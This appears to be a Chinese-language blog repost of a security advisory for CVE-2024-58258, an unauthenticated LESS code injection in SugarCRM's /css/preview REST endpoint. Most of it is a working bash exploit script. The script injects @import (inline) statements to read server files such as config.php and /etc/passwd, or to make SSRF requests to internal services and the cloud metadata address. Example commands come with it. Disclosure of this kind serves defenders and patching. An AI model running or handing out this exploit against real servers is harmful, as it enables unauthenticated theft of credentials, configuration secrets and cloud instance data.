SugarCRM 14.0.0 SSRF与代码注入漏洞利用详解

本文详细分析了SugarCRM 14.0.0版本中存在的SSRF和代码注入漏洞,通过未经验证的REST API端点实现任意LESS代码执行,导致敏感信息泄露和服务器端请求伪造。

漏洞标题:SugarCRM 14.0.0 - SSRF/代码注入

作者:Egidio Romano aka EgiX

邮箱:n0b0d13s@gmail.com

软件链接:https://www.sugarcrm.com

受影响版本:所有商业版本13.0.4之前和14.0.1之前。

CVE参考:CVE-2024-58258

漏洞描述:

通过GET参数传递给/css/preview REST API端点的用户输入在解析为LESS代码之前未经过适当清理。远程未经验证的攻击者可以利用此漏洞注入并执行任意LESS指令。通过滥用@import LESS语句,攻击者可以触发服务器端请求伪造(SSRF)或读取Web服务器上的任意本地文件,可能导致敏感信息泄露。

漏洞验证:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/bin/bash

echo
echo "+----------------------------------------------------------------------+";
echo "| SugarCRM <= 14.0.0 (css/preview) LESS代码注入漏洞利用 by EgiX |";
echo "+----------------------------------------------------------------------+";

if [ "$#" -ne 2 ]; then
    echo -ne "\n用法:$0 <SugarCRM URL> <本地文件或SSRF URL>\n"
    echo -ne "\n示例:$0 'http://localhost/sugarcrm/' 'config.php'"
    echo -ne "\n示例:$0 'http://localhost/sugarcrm/' '/etc/passwd'"
    echo -ne "\n示例:$0 'https://www.sugarcrm.com/' 'http://localhost:9200/_search'"
    echo -ne "\n示例:$0 'https://www.sugarcrm.com/' 'http://169.254.169.254/latest/meta-data/'\n\n"
    exit 1
fi

urlencode() {
    echo -n "$1" | xxd -p | tr -d '\n' | sed 's/../%&/g'
}

INJECTION=$(urlencode "1; @import (inline) '$2'; @import (inline) 'data:text/plain,________';//")
RESPONSE=$(curl -ks "${1}rest/v10/css/preview?baseUrl=1&param=${INJECTION}")

if echo "$RESPONSE" | grep -q "________"; then
    echo -e "\n'$2'的输出:\n"
    echo "$RESPONSE" | sed '/________/q' | grep -v '________'
    echo
else
    echo -e "\n错误:漏洞利用失败!\n"
    exit 2
fi

致谢:漏洞由Egidio Romano发现。

原始公告:http://karmainsecurity.com/KIS-2025-04

其他参考:https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计